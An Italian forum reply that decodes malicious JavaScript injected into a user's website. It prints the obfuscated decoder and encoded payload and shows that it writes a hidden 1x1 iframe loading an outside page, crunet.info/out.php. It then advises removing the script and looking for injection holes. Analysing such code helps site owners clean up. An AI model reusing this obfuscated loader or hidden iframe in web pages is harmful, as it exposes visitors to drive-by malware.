direi che non è una bella cosa....
quel java script una volta decodificato risulta essere:
codice:
<script language="javascript">
function encode(str)
{
var end=unescape(str.substr(0, str.length-1));
var now='';
for(i=0; i<end.length; i++)
{
now+=String.fromCharCode(end.charCodeAt(i)- str.substr(str.length-1,1));
}
document.write(unescape(now));}
encode('%297Gmjveqi%2964wvg%297H%296%3Blxxt%297E33gvyrix2mrjs3syx2tlt%296%3B%2964%7Bmhxl%297H%296%3B5%296%3B%2964limklx%297H%296%3B5%296%3B%2964wx%7Dpi%297H%296%3Bzmwmfmpmx%7D%297E%2964lmhhir%297F%296%3B%297I%297G3mjveqi%297I4')
</script>
il quale altro non è che una funzione di offuscamento invocata da altro codice nascosto. Una volta rivelata crea nella pagina il codice html:
codice:
<iframe src='http://crunet.info/out.php' width='1' height='1' style='visibility: hidden;'>
</iframe>
come vedi viene creato un iframe nascosto (dimensioni 1x1) in cui viene richiamata la pagina http://crunet.info/out.php che non ci è dato sapere cosa faccia. Invocandola direttamente viene ritornato un codice di errore Forbidden.
In ogni caso provvederei ad eliminare quel javascript e cercherei di individuare se ci sono elementi di vulnerabilità nel tuo sito che permettano iniezione di codice.